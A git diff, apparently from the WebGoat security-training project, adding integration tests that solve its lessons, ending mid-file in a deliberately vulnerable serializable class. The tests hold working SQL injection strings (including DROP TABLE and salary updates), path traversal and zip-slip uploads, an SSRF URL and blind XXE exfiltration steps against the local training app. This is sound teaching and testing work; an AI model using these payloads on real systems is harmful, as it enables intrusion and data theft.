System.err.println("key: " + key + " in (" +lang+") is missing from default properties"); + Assertions.fail(); + } + if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) { + System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service"); + System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR)); + System.out.println("expected: "+propsLang.getProperty(key)); + System.out.println(); + Assertions.fail(); + } + } + } + + private JsonPath getLabels(String lang) { + return RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .header("Accept-Language",lang) + .cookie("JSESSIONID", getWebGoatCookie()) + //.log().headers() + .get(url("service/labels.mvc")) + .then() + //.log().all() + .statusCode(200).extract().jsonPath(); + } + + private List getHints() { + JsonPath jsonPath = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .contentType(ContentType.JSON) + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/hint.mvc")) + .then() + //.log().all() + .statusCode(200).extract().jsonPath(); + return jsonPath.getList("hint"); + } + +} diff --git a/src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java b/src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java new file mode 100644 index 000000000..6e030d039 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/PasswordResetLessonIntegrationTest.java @@ -0,0 +1,118 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import lombok.SneakyThrows; + +import org.apache.commons.lang3.StringUtils; +import org.assertj.core.api.Assertions; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DynamicTest; +import org.junit.jupiter.api.TestFactory; + +import static org.junit.jupiter.api.DynamicTest.dynamicTest; + +import java.util.Arrays; +import java.util.Map; + +public class PasswordResetLessonIntegrationTest extends IntegrationTest { + + @BeforeEach + @SneakyThrows + public void init() { + startLesson("/PasswordReset"); + } + + @TestFactory + Iterable passwordResetLesson() { + return Arrays.asList( + dynamicTest("assignment 6 - check email link",()-> sendEmailShouldBeAvailableInWebWolf()), + dynamicTest("assignment 6 - solve assignment",()-> solveAssignment()), + dynamicTest("assignment 2 - simple reset",()-> assignment2()), + dynamicTest("assignment 4 - guess questions",()-> assignment4()), + dynamicTest("assignment 5 - simple questions",()-> assignment5()) + ); + } + public void assignment2() { + checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false); + checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true); + } + + public void assignment4() { + checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true); + } + + public void assignment5() { + checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false); + checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true); + } + + + public void solveAssignment() { + //WebGoat + clickForgotEmailLink("tom@webgoat-cloud.org"); + + //WebWolf + var link = getPasswordResetLinkFromLandingPage(); + + //WebGoat + changePassword(link); + checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true); + } + + public void sendEmailShouldBeAvailableInWebWolf() { + clickForgotEmailLink(this.getUser() + "@webgoat.org"); + + var responseBody = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .get(webWolfUrl("/WebWolf/mail")) + .then() + .extract().response().getBody().asString(); + + Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link"); + } + + @AfterEach + public void shutdown() { + //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete + checkResults("/PasswordReset"); + } + + private void changePassword(String link) { + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams("resetLink", link, "password", "123456") + .post(url("PasswordReset/reset/change-password")) + .then() + .statusCode(200); + } + + private String getPasswordResetLinkFromLandingPage() { + var responseBody = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .get(webWolfUrl("/WebWolf/requests")) + .then() + .extract().response().getBody().asString(); + int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/"); + var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1); + return link; + } + + private void clickForgotEmailLink(String user) { + RestAssured.given() + .when() + .header("host", String.format("%s:%s", "localhost", getWebWolfPort())) + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams("email", user) + .post(url("PasswordReset/ForgotPassword/create-password-reset-link")) + .then() + .statusCode(200); + } +} diff --git a/src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java b/src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java new file mode 100644 index 000000000..3eb53ee8e --- /dev/null +++ b/src/it/java/org/owasp/webgoat/PathTraversalIntegrationTest.java @@ -0,0 +1,137 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import lombok.SneakyThrows; +import org.hamcrest.CoreMatchers; +import org.hamcrest.MatcherAssert; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DynamicTest; +import org.junit.jupiter.api.TestFactory; +import org.junit.jupiter.api.io.TempDir; +import org.springframework.security.core.token.Sha512DigestUtils; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.Arrays; +import java.util.Map; +import java.util.zip.ZipEntry; +import java.util.zip.ZipOutputStream; + +import static org.junit.jupiter.api.DynamicTest.dynamicTest; + +class PathTraversalIT extends IntegrationTest { + + @TempDir + Path tempDir; + + private File fileToUpload = null; + + @BeforeEach + @SneakyThrows + public void init() { + fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile(); + Files.write(fileToUpload.toPath(), "This is a test".getBytes()); + startLesson("PathTraversal"); + } + + @TestFactory + Iterable testPathTraversal() { + return Arrays.asList( + dynamicTest("assignment 1 - profile upload", () -> assignment1()), + dynamicTest("assignment 2 - profile upload fix", () -> assignment2()), + dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()), + dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()), + dynamicTest("assignment 5 - zip slip", () -> assignment5()) + ); + } + + private void assignment1() throws IOException { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath())) + .param("fullName", "../John Doe") + .post(url("/WebGoat/PathTraversal/profile-upload")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + + private void assignment2() throws IOException { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath())) + .param("fullNameFix", "..././John Doe") + .post(url("/WebGoat/PathTraversal/profile-upload-fix")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + + private void assignment3() throws IOException { + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath())) + .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + + private void assignment4() throws IOException { + var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret"; + RestAssured.given().urlEncodingEnabled(false) + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url(uri)) + .then() + .statusCode(200) + .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer")); + + checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret", + Sha512DigestUtils.shaHex(this.getUser())), true); + } + + private void assignment5() throws IOException { + var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser(); + webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows + + var webGoatDirectory = new File(webGoatHome); + var zipFile = new File(tempDir.toFile(), "upload.zip"); + try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) { + ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg"); + zos.putNextEntry(e); + zos.write("test".getBytes(StandardCharsets.UTF_8)); + } + MatcherAssert.assertThat( + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath())) + .post(url("/WebGoat/PathTraversal/zip-slip")) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + + @AfterEach + void shutdown() { + //this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete + checkResults("/PathTraversal"); + } +} diff --git a/src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java b/src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java new file mode 100644 index 000000000..8b8b870ea --- /dev/null +++ b/src/it/java/org/owasp/webgoat/ProgressRaceConditionIntegrationTest.java @@ -0,0 +1,53 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import io.restassured.response.Response; + +import org.assertj.core.api.Assertions; +import org.junit.jupiter.api.Test; + +import java.util.List; +import java.util.Map; +import java.util.concurrent.Callable; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.stream.Collectors; +import java.util.stream.IntStream; + +public class ProgressRaceConditionIntegrationTest extends IntegrationTest { + + @Test + public void runTests() throws InterruptedException { + int NUMBER_OF_CALLS = 40; + int NUMBER_OF_PARALLEL_THREADS = 5; + startLesson("Challenge1"); + + Callable call = () -> { + //System.out.println("thread "+Thread.currentThread().getName()); + return RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .formParams(Map.of("flag", "test")) + .post(url("/challenge/flag/")); + + }; + ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS); + List> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList()); + var responses = executorService.invokeAll(flagCalls); + + //A certain amount of parallel calls should fail as optimistic locking in DB is applied + long countStatusCode500 = responses.stream().filter(r -> { + try { + //System.err.println(r.get().getStatusCode()); + return r.get().getStatusCode() != 200; + } catch (InterruptedException | ExecutionException e) { + //System.err.println(e); + throw new IllegalStateException(e); + } + }).count(); + System.err.println("counted status 500: "+countStatusCode500); + Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS))); + } +} diff --git a/src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java b/src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java new file mode 100644 index 000000000..e59499108 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/SSRFIntegrationTest.java @@ -0,0 +1,30 @@ +package org.owasp.webgoat; + +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; + +import org.junit.jupiter.api.Test; + +public class SSRFIntegrationTest extends IntegrationTest { + + @Test + public void runTests() throws IOException { + startLesson("SSRF"); + + Map params = new HashMap<>(); + params.clear(); + params.put("url", "images/jerry.png"); + + checkAssignment(url("/WebGoat/SSRF/task1"),params,true); + params.clear(); + params.put("url", "http://ifconfig.pro"); + + checkAssignment(url("/WebGoat/SSRF/task2"),params,true); + + checkResults("/SSRF/"); + + } + + +} diff --git a/src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java b/src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java new file mode 100644 index 000000000..ad641212b --- /dev/null +++ b/src/it/java/org/owasp/webgoat/SessionManagementIntegrationTest.java @@ -0,0 +1,47 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2021 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source + * ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat; + +import java.util.Map; + +import org.junit.jupiter.api.Test; + +/** + * + * @author Angel Olle Blazquez + * + */ + +class SessionManagementIT extends IntegrationTest { + + private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login"; + + + @Test + void hijackSessionTest() { + startLesson("HijackSession"); + + checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false); + } +} diff --git a/src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java b/src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java new file mode 100644 index 000000000..6ae9f838b --- /dev/null +++ b/src/it/java/org/owasp/webgoat/SqlInjectionAdvancedIntegrationTest.java @@ -0,0 +1,49 @@ +package org.owasp.webgoat; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.jupiter.api.Test; + +public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest { + + @Test + public void runTests() { + startLesson("SqlInjectionAdvanced"); + + Map params = new HashMap<>(); + params.clear(); + params.put("username_reg", "tom' AND substring(password,1,1)='t"); + params.put("password_reg", "password"); + params.put("email_reg", "someone@microsoft.com"); + params.put("confirm_password", "password"); + checkAssignmentWithPUT(url("/WebGoat/SqlInjectionAdvanced/challenge"), params, true); + + params.clear(); + params.put("username_login", "tom"); + params.put("password_login", "thisisasecretfortomonly"); + checkAssignment(url("/WebGoat/SqlInjectionAdvanced/challenge_Login"), params, true); + + params.clear(); + params.put("userid_6a", "'; SELECT * FROM user_system_data;--"); + checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true); + + params.clear(); + params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --"); + checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true); + + params.clear(); + params.put("userid_6b", "passW0rD"); + checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true); + + params.clear(); + params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement"); + params.put("question_1_solution", "Solution 3: ?"); + params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way."); + params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data."); + params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'."); + checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true); + + checkResults("/SqlInjectionAdvanced/"); + } +} diff --git a/src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java b/src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java new file mode 100644 index 000000000..6c8c446af --- /dev/null +++ b/src/it/java/org/owasp/webgoat/SqlInjectionLessonIntegrationTest.java @@ -0,0 +1,78 @@ +package org.owasp.webgoat; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.jupiter.api.Test; + +public class SqlInjectionLessonIntegrationTest extends IntegrationTest { + + public static final String sql_2 = "select department from employees where last_name='Franco'"; + public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'"; + public static final String sql_4_drop = "alter table employees drop column phone"; + public static final String sql_4_add = "alter table employees add column phone varchar(20)"; + public static final String sql_5 = "grant select on grant_rights to unauthorized_user"; + public static final String sql_9_account = " ' "; + public static final String sql_9_operator = "or"; + public static final String sql_9_injection = "'1'='1"; + public static final String sql_10_login_count = "2"; + public static final String sql_10_userid = "1 or 1=1"; + + public static final String sql_11_a = "Smith' or '1' = '1"; + public static final String sql_11_b = "3SL99A' or '1'='1"; + + public static final String sql_12_a = "Smith"; + public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith"; + + public static final String sql_13 = "%update% '; drop table access_log ; --'"; + + @Test + public void runTests() { + startLesson("SqlInjection"); + + Map params = new HashMap<>(); + params.clear(); + params.put("query", sql_2); + checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true); + + params.clear(); + params.put("query", sql_3); + checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true); + + params.clear(); + params.put("query", sql_4_add); + checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true); + + params.clear(); + params.put("query", sql_5); + checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true); + + params.clear(); + params.put("operator", sql_9_operator); + params.put("account", sql_9_account); + params.put("injection", sql_9_injection); + checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true); + + params.clear(); + params.put("login_count", sql_10_login_count); + params.put("userid", sql_10_userid); + checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true); + + params.clear(); + params.put("name", sql_11_a); + params.put("auth_tan", sql_11_b); + checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true); + + params.clear(); + params.put("name", sql_12_a); + params.put("auth_tan", sql_12_b); + checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true); + + params.clear(); + params.put("action_string", sql_13); + checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true); + + checkResults("/SqlInjection/"); + + } +} diff --git a/src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java b/src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java new file mode 100644 index 000000000..6d9394674 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/SqlInjectionMitigationIntegrationTest.java @@ -0,0 +1,70 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.jupiter.api.Test; + +import static org.hamcrest.CoreMatchers.containsString; + +public class SqlInjectionMitigationIntegrationTest extends IntegrationTest { + + @Test + public void runTests() { + startLesson("SqlInjectionMitigations"); + + Map params = new HashMap<>(); + params.clear(); + params.put("field1", "getConnection"); + params.put("field2", "PreparedStatement prep"); + params.put("field3", "prepareStatement"); + params.put("field4", "?"); + params.put("field5", "?"); + params.put("field6", "prep.setString(1,\"\")"); + params.put("field7", "prep.setString(2,\\\"\\\")"); + checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true); + + params.put("editor", "try {\r\n" + + " Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" + + " PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" + + " prep.setString(1,\"me\");\r\n" + + " prep.execute();\r\n" + + " System.out.println(conn); //should output 'null'\r\n" + + "} catch (Exception e) {\r\n" + + " System.out.println(\"Oops. Something went wrong!\");\r\n" + + "}"); + checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true); + + params.clear(); + params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--"); + checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true); + + params.clear(); + params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--"); + checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true); + + RestAssured.given() + .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)")) + .then() + .statusCode(200); + + RestAssured.given() + .when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown")) + .then() + .statusCode(500) + .body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by")); + + params.clear(); + params.put("ip", "104.130.219.202"); + checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true); + + checkResults(); + } +} diff --git a/src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java b/src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java new file mode 100644 index 000000000..041f5157f --- /dev/null +++ b/src/it/java/org/owasp/webgoat/WebWolfIntegrationTest.java @@ -0,0 +1,72 @@ +package org.owasp.webgoat; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +import java.io.IOException; +import java.util.HashMap; +import java.util.Map; + +import org.junit.jupiter.api.Test; + +import io.restassured.RestAssured; + +public class WebWolfIntegrationTest extends IntegrationTest { + + @Test + public void runTests() throws IOException { + startLesson("WebWolfIntroduction"); + + //Assignment 3 + Map params = new HashMap<>(); + params.clear(); + params.put("email", this.getUser()+"@webgoat.org"); + checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false); + + String responseBody = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .get(webWolfUrl("/WebWolf/mail")) + .then() + .extract().response().getBody().asString(); + + String uniqueCode = responseBody.replace("%20", " "); + uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length())); + params.clear(); + params.put("uniqueCode", uniqueCode); + checkAssignment(url("/WebGoat/WebWolf/mail"), params, true); + + //Assignment 4 + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .queryParams(params) + .get(url("/WebGoat/WebWolf/landing/password-reset")) + .then() + .statusCode(200); + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .queryParams(params) + .get(webWolfUrl("/landing")) + .then() + .statusCode(200); + responseBody = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .get(webWolfUrl("/WebWolf/requests")) + .then() + .extract().response().getBody().asString(); + assertTrue(responseBody.contains(uniqueCode)); + params.clear(); + params.put("uniqueCode", uniqueCode); + checkAssignment(url("/WebGoat/WebWolf/landing"), params, true); + + checkResults("/WebWolf"); + + } + +} diff --git a/src/it/java/org/owasp/webgoat/XSSIntegrationTest.java b/src/it/java/org/owasp/webgoat/XSSIntegrationTest.java new file mode 100644 index 000000000..adae15d2c --- /dev/null +++ b/src/it/java/org/owasp/webgoat/XSSIntegrationTest.java @@ -0,0 +1,68 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; + +import java.util.HashMap; +import java.util.Map; + +import org.junit.jupiter.api.Test; + +public class XSSIntegrationTest extends IntegrationTest { + + + @Test + public void crossSiteScriptingAssignments() { + startLesson("CrossSiteScripting"); + + Map params = new HashMap<>(); + params.clear(); + params.put("checkboxAttack1", "value"); + checkAssignment(url("/CrossSiteScripting/attack1"), params, true); + + params.clear(); + params.put("QTY1", "1"); + params.put("QTY2", "1"); + params.put("QTY3", "1"); + params.put("QTY4", "1"); + params.put("field1", ""); + params.put("field2", "111"); + checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true); + + params.clear(); + params.put("DOMTestRoute", "start.mvc#test"); + checkAssignment(url("/CrossSiteScripting/attack6a"), params, true); + + params.clear(); + params.put("param1", "42"); + params.put("param2", "24"); + + String result = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("webgoat-requested-by", "dom-xss-vuln") + .header("X-Requested-With", "XMLHttpRequest") + .formParams(params) + .post(url("/CrossSiteScripting/phone-home-xss")) + .then() + .statusCode(200) + .extract().path("output"); + String secretNumber = result.substring("phoneHome Response is ".length()); + + params.clear(); + params.put("successMessage", secretNumber); + checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true); + + params.clear(); + params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious."); + params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content."); + params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server."); + params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request."); + params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes."); + checkAssignment(url("/CrossSiteScripting/quiz"), params, true); + + checkResults("/CrossSiteScripting/"); + + } +} diff --git a/src/it/java/org/owasp/webgoat/XXEIntegrationTest.java b/src/it/java/org/owasp/webgoat/XXEIntegrationTest.java new file mode 100644 index 000000000..e7c2a5497 --- /dev/null +++ b/src/it/java/org/owasp/webgoat/XXEIntegrationTest.java @@ -0,0 +1,99 @@ +package org.owasp.webgoat; + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import org.junit.jupiter.api.Test; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; + +public class XXEIntegrationTest extends IntegrationTest { + + private static final String xxe3 = """ + ]>&xxe;test"""; + private static final String xxe4 = """ + ]>&xxe;test"""; + private static final String dtd7 = """ + ">%all;"""; + private static final String xxe7 = """ + %remote;]>test&send;"""; + + private String webGoatHomeDirectory; + private String webWolfFileServerLocation; + + /* + * This test is to verify that all is secure when XXE security patch is applied. + */ + @Test + public void xxeSecure() throws IOException { + startLesson("XXE"); + webGoatHomeDirectory = webGoatServerDirectory(); + webWolfFileServerLocation = getWebWolfFileServerLocation(); + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .get(url("service/enable-security.mvc")) + .then() + .statusCode(200); + checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false); + checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false); + checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "" + getSecret() + "", false); + } + + /** + * This performs the steps of the exercise before the secret can be committed in the final step. + * + * @return + * @throws IOException + */ + private String getSecret() throws IOException { + //remove any left over DTD + Path webWolfFilePath = Paths.get(webWolfFileServerLocation); + if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) { + Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd"))); + } + String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt"); + String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile); + + //upload DTD + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .multiPart("file", "blind.dtd", dtd7String.getBytes()) + .post(webWolfUrl("/fileupload")) + .then() + .extract().response().getBody().asString(); + //upload attack + String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser()); + checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false); + + //read results from WebWolf + String result = RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("WEBWOLFSESSION", getWebWolfCookie()) + .get(webWolfUrl("/WebWolf/requests")) + .then() + .extract().response().getBody().asString(); + result = result.replace("%20", " "); + if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) { + result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33); + } + return result; + } + + @Test + public void runTests() throws IOException { + startLesson("XXE", true); + webGoatHomeDirectory = webGoatServerDirectory(); + webWolfFileServerLocation = getWebWolfFileServerLocation(); + checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true); + checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true); + checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "" + getSecret() + "", true); + checkResults("xxe/"); + } +} diff --git a/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java b/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java new file mode 100644 index 000000000..98c37a64e --- /dev/null +++ b/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java @@ -0,0 +1,76 @@ +package org.dummy.insecure.framework; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.ObjectInputStream; +import java.io.Serializable; +import java.time.LocalDateTime; +import lombok.extern.slf4j.Slf4j; + +@Slf4j +// TODO move back to lesson +public class VulnerableTaskHolder implements Serializable { + + private static final long serialVersionUID = 2; + + private String taskName; + private String taskAction; + private LocalDateTime requestedExecutionTime; + + public VulnerableTaskHolder(String taskName, String taskAction) { + super(); + this.taskName = taskName; + this.taskAction = taskAction; + this.requestedExecutionTime = LocalDateTime.now(); + } + + @Override + public String toString() { + return "VulnerableTaskHolder [taskName=" + + taskName + + ", taskAction=" + + taskAction + + ", 